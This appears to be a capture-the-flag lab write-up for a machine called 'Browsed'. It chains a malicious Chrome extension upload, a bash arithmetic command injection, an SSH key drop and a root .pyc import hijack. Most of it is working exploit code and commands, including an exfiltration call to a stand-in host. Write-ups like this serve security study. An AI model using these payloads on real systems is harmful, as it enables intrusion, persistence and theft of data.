Post

Browsed

Browsed

1) Recon

1.1 Port scan

1
2
3
4
5
nmap -sC -sV -Pn 10.129.244.79

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14
80/tcp open  http    nginx 1.24.0 (Ubuntu)

1.2 Web enum

1
2
curl -i http://10.129.244.79/
gobuster dir -u http://10.129.244.79/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -q

Found pages include upload.php, samples.html and downloadable sample extension zips.


2) Initial Attack Surface: Extension Runner Abuse

upload.php response leaks the exact command used server-side:

1
Running command: timeout 10s xvfb-run /opt/chrome-linux64/chrome ... --load-extension="/tmp/extension_..." ... http://localhost/ http://browsedinternals.htb 2>&1 |tee /tmp/extension_.../output.log

That means uploaded extension JS executes while browser opens internal targets (localhost, browsedinternals.htb).


3) Internal Pivot + User Flag via /routines Injection

3.1 Confirm internal virtual host and repo leakage

1
2
curl -i -H 'Host: browsedinternals.htb' http://10.129.244.79/
curl -s -H 'Host: browsedinternals.htb' 'http://10.129.244.79/api/v1/repos/search?limit=50'

Found larry/MarkdownPreview repository with Flask app + routines.sh.

Key code from repo:

1
2
3
4
5
# routines.sh (vulnerable)
if [[ "$1" -eq 0 ]]; then
  ...
elif [[ "$1" -eq 1 ]]; then
  ...

[[ "$1" -eq ... ]] performs arithmetic evaluation and can execute command substitution patterns like a[$(cmd)].

3.2 Prove localhost pivot works from extension background worker

Use extension that fetches internal endpoints from background service worker (not content-script CORS-limited):

1
2
3
4
5
6
7
8
// bg.js (probe)
const targets = [
  'http://localhost:5000/',
  'http://localhost:5000/files',
  'http://localhost:5000/routines/0',
  'http://127.0.0.1:3000/',
  'http://localhost:3000/'
];

Evidence log lines (upload.php?output=1):

1
2
... BGSX_OK_aHR0cDovL2xvY2FsaG9zdDo1MDAwL3wyMDB8...
... BGSX_OK_aHR0cDovL2xvY2FsaG9zdDo1MDAwL3JvdXRpbmVzLzB8MjAwfFJvdXRpbmUgZXhlY3V0ZWQgIQ

Decoded proof includes:

  • http://localhost:5000/|200|<h1>Markdown Previewer...
  • http://localhost:5000/routines/0|200|Routine executed !

3.3 Exploit /routines/<rid> and copy user.txt

Create malicious extension with background script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// bg.js (user flag copy)
chrome.runtime.onMessage.addListener((m)=>{
  if(!m||!m.go) return;
  (async()=>{
    const payload = 'a[$(cp${IFS}${HOME}${PATH:0:1}user.txt${IFS}${PWD}${PATH:0:1}files${PATH:0:1}flag.html)]';
    const u = 'http://localhost:5000/routines/' + encodeURIComponent(payload);
    const r1 = await fetch(u);
    const t1 = await r1.text();
    const r2 = await fetch('http://localhost:5000/view/flag.html');
    const t2 = await r2.text();
    const o = `R1=${r1.status}|${t1.slice(0,80)}|FLAG=${t2.slice(0,200)}`;
    const b = btoa(unescape(encodeURIComponent(o))).replace(/=+$/,'');
    fetch('http://exfil.invalid/PWNF_OK_'+b).catch(()=>{});
  })();
});

Build/upload loop:

1
2
3
4
5
6
7
8
9
10
11
12
13
mkdir -p /tmp/browsed/pwnext
# write manifest.json, content.js, bg.js
(cd /tmp/browsed/pwnext && zip -qr ../pwnext.zip .)

curl -s -c /tmp/browsed/cookies11.txt -b /tmp/browsed/cookies11.txt \
  -F 'extension=@/tmp/browsed/pwnext.zip;type=application/zip' \
  http://10.129.244.79/upload.php >/tmp/browsed/upload11_resp.txt

sleep 12
curl -s -c /tmp/browsed/cookies11.txt -b /tmp/browsed/cookies11.txt \
  'http://10.129.244.79/upload.php?output=1' >/tmp/browsed/out11.txt

rg 'PWNF_(OK|ER)_' /tmp/browsed/out11.txt | tail -n 40

Decode captured exfil:

1
echo 'UjE9MjAwfFJvdXRpbmUgZXhlY3V0ZWQgIXxGTEFHPTEzNDJhMmI5YWJhOTIxNDg4NTA0MzVhMzNiMDZkNDRhCg' | base64 -d

Evidence output:

1
R1=200|Routine executed !|FLAG=1342a2b9aba92148850435a33b06d44a

user.txt

1
1342a2b9aba92148850435a33b06d44a

4) Stable Shell as larry (via same injection)

Generate key locally:

1
ssh-keygen -t ed25519 -N '' -f /tmp/browsed/id_ed25519_htb

Embed public key (base64) in extension payload and call /routines/<payload>:

1
2
3
// bg.js (authorized_keys drop)
const cmd = 'a[$(mkdir${IFS}-p${IFS}${HOME}${PATH:0:1}.ssh;echo${IFS}__PUB_B64__|base64${IFS}-d>>${HOME}${PATH:0:1}.ssh${PATH:0:1}authorized_keys;chmod${IFS}700${IFS}${HOME}${PATH:0:1}.ssh;chmod${IFS}600${IFS}${HOME}${PATH:0:1}.ssh${PATH:0:1}authorized_keys)]';
const u = 'http://localhost:5000/routines/' + encodeURIComponent(cmd);

After upload execution:

1
2
3
4
5
ssh -i /tmp/browsed/id_ed25519_htb -o StrictHostKeyChecking=no larry@10.129.244.79 'id && hostname && whoami'

uid=1000(larry) gid=1000(larry) groups=1000(larry)
browsed
larry

5) Privilege Escalation to Root

5.1 Enumerate sudo rights

1
2
3
4
ssh -i /tmp/browsed/id_ed25519_htb larry@10.129.244.79 'sudo -l'

User larry may run the following commands on browsed:
    (root) NOPASSWD: /opt/extensiontool/extension_tool.py

Inspect files:

1
2
ssh -i /tmp/browsed/id_ed25519_htb larry@10.129.244.79 \
'ls -la /opt/extensiontool && ls -la /opt/extensiontool/__pycache__ && sed -n "1,240p" /opt/extensiontool/extension_tool.py && sed -n "1,240p" /opt/extensiontool/extension_utils.py'

Critical finding: /opt/extensiontool/__pycache__ writable by all, and tool imports extension_utils.

5.2 .pyc import hijack

Create malicious module and compile unchecked-hash pyc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ssh -i /tmp/browsed/id_ed25519_htb larry@10.129.244.79 "cat > /tmp/extension_utils.py <<'PY'
import os
os.system('id > /tmp/pyc_pwned_id')

def validate_manifest(path):
    return {'version':'1.0.0'}

def clean_temp_files(x):
    return None
PY
python3.12 - <<'PY'
import py_compile
py_compile.compile('/tmp/extension_utils.py', cfile='/tmp/extension_utils.cpython-312.pyc', doraise=True, invalidation_mode=py_compile.PycInvalidationMode.UNCHECKED_HASH)
print('compiled ok')
PY
rm -f /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc
cp /tmp/extension_utils.cpython-312.pyc /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc
sudo /opt/extensiontool/extension_tool.py --ext Timer >/tmp/et_run2.txt 2>&1 || true
ls -l /tmp/pyc_pwned_id && cat /tmp/pyc_pwned_id"

-rw-r--r-- 1 root root ... /tmp/pyc_pwned_id
uid=0(root) gid=0(root) groups=0(root)

5.3 Read root.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssh -i /tmp/browsed/id_ed25519_htb larry@10.129.244.79 "cat > /tmp/extension_utils.py <<'PY'
import os
os.system('cat /root/root.txt > /tmp/root_flag && chmod 644 /tmp/root_flag')

def validate_manifest(path):
    return {'version':'1.0.0'}

def clean_temp_files(x):
    return None
PY
python3.12 - <<'PY'
import py_compile
py_compile.compile('/tmp/extension_utils.py', cfile='/tmp/extension_utils.cpython-312.pyc', doraise=True, invalidation_mode=py_compile.PycInvalidationMode.UNCHECKED_HASH)
PY
rm -f /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc
cp /tmp/extension_utils.cpython-312.pyc /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc
sudo /opt/extensiontool/extension_tool.py --ext Timer >/tmp/et_run3.txt 2>&1 || true
cat /tmp/root_flag"

Evidence output:

1
9764c20e76fcaf12b69366d42e311493